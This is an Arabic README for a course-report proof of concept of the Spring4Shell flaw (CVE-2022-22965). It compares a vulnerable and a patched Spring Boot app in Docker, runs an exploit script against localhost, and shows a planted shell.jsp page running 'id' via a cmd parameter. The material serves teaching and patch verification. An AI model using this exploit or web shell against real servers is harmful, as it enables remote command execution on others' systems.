
إثبات المفهوم لـ CVE-2022-22965 لتقرير CS4239
إثبات مفهوم لثغرة CVE-2022-22965 (Spring4Shell) لتقرير CS4239 G410. مُقتبس من هذا الإثبات لعرض سلوك النظام قبل التصحيح وبعده.
يوجد في هذا المستودع برنامجان مثالان (يعملان عبر Docker) بكود مصدري متطابق تمامًا. يستخدم أحدهما إصدارًا من Spring Boot يحتوي على الثغرة بينما يستخدم الآخر إصدارًا مُصحَّحًا. أصدرت Tomcat أيضًا تصحيحًا لهذه الثغرة، لكن يتم استخدام نفس إصدار Tomcat غير المُصحَّح في هذا العرض التجريبي لعزل تأثير تصحيح Spring.
لتشغيل التطبيقات التجريبية:
docker compose build
docker compose up
لتشغيل أداة الاستغلال:
# vulnerable
python exploit.py --url "http://localhost:8080/helloworld/greeting"
# patched
python exploit.py --url "http://localhost:8081/helloworld/greeting"
إذا نجح الاستغلال، ستظهر صفحة جديدة تتيح لنا تشغيل الأوامر. مثال لتشغيل id:
http://localhost:8080/shell.jsp?cmd=id
لا يعمل الاستغلال مع الإصدار المُصحَّح — لا يتم حقن shell.jsp.